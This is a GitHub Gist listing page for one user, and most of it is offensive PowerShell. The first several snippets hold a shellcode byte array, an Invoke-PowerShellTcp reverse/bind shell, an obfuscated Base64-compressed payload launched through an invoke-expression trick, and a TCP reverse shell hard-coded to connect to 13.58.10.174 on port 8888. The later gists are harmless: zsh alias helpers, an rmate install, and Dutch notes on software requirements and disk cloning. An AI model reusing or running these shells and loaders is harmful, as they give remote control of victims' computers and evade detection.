Skip to content

Instantly share code, notes, and snippets.

@0k4
0k4 / x.ps1
Last active March 3, 2020 10:33
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x
@0k4
0k4 / x.ps1
Last active February 7, 2020 15:19
function Invoke-PowerShellTcp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
@0k4
0k4 / x.ps1
Last active January 15, 2020 14:20
pOwERsheLL " & ( $EnV:cOMSPEc[4,15,25]-JOIn'') (neW-ObJeCt Io.cOMPRESSIoN.dEFlateStReaM([sYsTem.iO.MeMOrysTREAM][converT]::FroMbAse64sTRinG('lV1dq6VH0f0rfSHOHHlGuiJ4kbskBBLRBGLwJgwS4hgSMIEweKP+d895uqtq1WfvvL44c/bu3d1VtWqt1f3sM/52vH79/bv3b/727S8/fPvxn9+NV7/7yz+++t2rp9//9NG/3n3zh4vo+uDtmz99+fkXr149PQ8erwfN+fz/z+9Men53/fHyJ728Ma7x8sLziPsvL/+57v9+fuH5/ef/G/tP+XHwzy8zkPw8YPy9CE/Ir7yMvRfdc5GszovC7GMPGXuZe+j90nrl/oh95yUCsyfSve8g91Ba0co6dz7uH2lcsOl7S/fINYKIdyiZ5MV0Ck3QHf+aMk3g0Bd2IG7E4CnuoO+M7bH83nrl3qi+xdHTim3S8KUcLtvmfeLS3iFypXltyDhhxvEje4SrkiufLKZxQGmIuBRaq/3KXVcZsz49L/15g5hDuSOVOssH9AVO3wp2l3Ehb00t6QyLwgvcQ/dYGXpZCAAUKG2p0Dl7JeLOkdRD7zBM3Hy0kaWVzIowsD5kKmfKzXgp3ottif26Y3dYWUvyZDir36a+sUESOYAIIo5zJVDdWDEfwmUoYxTbmgw0ItfWBNNL9YlzNVc1KUGUgJK4g4k2rmhyRy9iWzt05LR/HAB7XklnZGoUmlf8w0hlH0Yazk7IjPwBgircMqPkmAXI6LD9KA0KvCppTJYfzIAZLfgXFLB7u0kOdcsal1DtLsdk/sui28UhToMhG5M5bnQhcYzaz2gAYwlFamW4REUBZdr8hSYKP7Q5cjI3MZGy5H5nQhYXoJhjJkgVdAbriXMOhO87+bO8RshVUtQ1kDEr3UlXzJemQ8DDvc5IxCpNqaOyMLsoA++osGRj5K0rBRAEifDGKS4bMyiChoyZh04Zd
@0k4
0k4 / x.ps1
Created January 14, 2020 09:02
$socket = new-object System.Net.Sockets.TcpClient('13.58.10.174', 8888);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@0k4
0k4 / gist:5a448a87ceb3ff8e0298e3a531214f92
Created August 15, 2017 13:33
Adding permanent aliases to zsh (.zshrc)
funcname ali() {
read 'ALIASNAME?Enter alias name: '
read 'ALIASCOMMAND?Enter the command: '
equals="="
c="alias ""$ALIASNAME$equals'$ALIASCOMMAND'"
echo $c >> ~/.oh-my-zsh/custom/aliasfile.zsh
zsh
}
@0k4
0k4 / gist:bcee007d07d671e37ce7066ec1d7bca3
Created August 15, 2017 13:28
Lazygit function ( .zshrc)
funcname lazygit() {
git add .
git commit -a -m "$1"
git push
}
@0k4
0k4 / rmate.sh
Created April 10, 2017 09:46
Install rmate
#Installeren van rmate
curl -o /usr/local/bin/rmate https://raw.githubusercontent.com/aurora/rmate/master/rmate
#Runnable maken
sudo chmod +x /usr/local/bin/rmate
@0k4
0k4 / Requirements.md
Last active March 13, 2017 08:30
Functionele en Niet-functionele Requirements

Requirements

Voorlopige lijst van requirements waartegen ik de lists zal aftoetsen, opgedeeld tussen functionele en niet-functionele requiremenst.

Functionele Requirements

  • De gebruiker moet kunnen een software update of besturingsysteem uitvoeren via een centraal punt voor meerdere PC's op het netwerk.

  • De gebruiker moet geen input leveren tijdens het hele proces, behalve bij het starten ervan.

@0k4
0k4 / ShortList.md
Last active March 6, 2017 08:16
Shortlist van interessante software i.v.m. computer management.
@0k4
0k4 / LongList.md
Last active March 6, 2017 07:52
LongList.md

Long List

Computer cloning

Disk cloning is the process of copying the contents of one computer hard disk to another disk or to an "image" file. This may be done straight from one disk to another, but more often, the contents of the first disk are written to an image file as an intermediate step, then the second disk is loaded with the contents of the image. Typically, this is done for archiving purposes, to restore lost or damaged data, or to move wanted data into a new disk, though other reasons also exist.

Unlike standard copying functions, disk cloning involves copying hidden and in-use files, and thus presents special challenges, as those types of files are typically not available for copying. Additional complications arise when the process is used for networked computers, as the network must be able to distinguish between different computers. Post-cloning operations may be necessary to address these and other issues.